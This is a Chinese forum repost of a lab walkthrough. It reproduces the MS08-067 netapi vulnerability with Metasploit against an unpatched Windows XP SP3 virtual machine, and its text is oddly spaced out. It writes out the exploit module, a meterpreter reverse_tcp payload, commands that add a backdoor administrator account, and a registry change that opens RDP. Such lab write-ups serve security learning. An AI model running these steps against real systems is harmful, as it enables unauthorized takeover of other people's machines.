搜索

[21559] 2020-12-31_利用ms08_067_netapi漏洞实现远程控制WindowsXPsp3

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-12-31_利用ms08_067_netapi漏洞实现远程控制WindowsXPsp3 利 用 m s 0 8 _ 0 6 7 _ n e t a p i 漏 洞 实 现 远 程 控 制 W i n d o w s   X P   s p 3 L e m o n S e c   2 0 2 0 - 1 2 - 3 1 转 自 ： C A R l o s _ 9 7 今 天 闲 来 无 事 ， 打 开 K a l i 来 了 一 波 M S 0 8 - 0 6 7 - n e t a p i 的 复 现 就 是 服 务 器 服 务 中 的 漏 洞 可 能 允 许 远 程 执 行 代 码 在   M i c r o s o f t   W i n d o w s   2 0 0 0 、 W i n d o w s   X P   和   W i n d o w s   S e r v e r   2 0 0 3   系 统 上 ， 攻 击 者 可 能 未 经 身 份 验 证 即 可 利 用 此 漏 洞 运 行 任 意 代 码 。 实 验 准 备 实 验 准 备 K a l i 虚 拟 机 靶 机 ： W i n d o w s   X P   s p 3 实 验 操 作 实 验 操 作 打 开 K a l i 和 靶 机 ， i f c o n f i g 得 到 K a l i   I P   1 9 2 . 1 6 8 . 4 3 . 1 2 0 通 过 N m a p   扫 描 得 到 靶 机   I P   1 9 2 . 1 6 8 . 4 3 . 2 0 1 进 入 m a t e s p l o i t 首 先 连 接 上 p o s t g r e s q l 1 寻 找 m s 0 8 _ 0 6 7 _ n e t a p i 模 块 1 使 用 该 模 块 1 s e r v i c e   p o s t g r e s q l   s t a t r s e a r c h   m s 0 8 _ 0 6 7 _ n e t a p i u s e   e x p l o i t / w i n d o w s / s m b / m s 0 8 _ 0 6 7 _ n e t a p i
顺 便 加 载 一 下 p a y l o a d 1 设 置 靶 机 I P 和 H O S T   I P 1 2 寻 找 靶 机 相 应 版 本 的 t a r g e t 通 常 为 3 4   也 可 以 选 择 0   为 自 动 1 2 接 下 来 可 以 开 始 攻 击 1 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   主 机 I P s e t   R H O S T   靶 机 I P s h o w   t a r g e t s s e t   t a r g e t   3 4 e x p l o i t
建 立 了 联 系 1 创 建 用 户 1 用 户 提 权 1 注 意 ： 注 意 ： / a d d   前 面 有 一 个 空 格 前 面 有 一 个 空 格 （ 本 人 因 为 没 加 空 格 吃 亏 了 … ） 扫 描 其 端 口 1 发 现 其 远 程 操 控 端 口 端 口 3 3 8 9 没 有 开 ， 我 们 可 以 输 入 命 令 将 它 打 开 1 2 S h e l l u s e r   n e t   h o s t - n a m e   p a s s w o r d   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   h o s t - n a m e   / a d d n e t s t a t   - a n R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f
此 时 我 们 可 以 看 到 远 程 控 制 端 口 端 口 3 3 8 9 打 开 了 我 们 可 以 通 过 主 机 来 远 程 控 制 开 始 键 + R   输 入 M S T S C 进 入 远 程 连 接 桌 面 界 面 这 时 候 靶 机 就 有 你 创 建 的 新 用 户 了 在 本 次 实 验 中 遇 到 的 问 题 在 本 次 实 验 中 遇 到 的 问 题 1 .   在 设 置 好 主 机 和 靶 机 地 址 后 ， 没 有 s e t   t a r g e t s   就 开 始 攻 击 2 .   在 创 建 账 户 时 ， / a d d   前 面 没 有 添 加 空 格 ， 导 致 创 建 账 户 失 败 3 .   在 实 验 时 所 使 用 的 靶 机 一 定 要 没 有 补 丁 ， 要 不 可 能 会 失 败
原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / C A R l o s _ 9 7 / a r t i c l e / d e t a i l s / 8 9 5 0 3 7 8 4 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理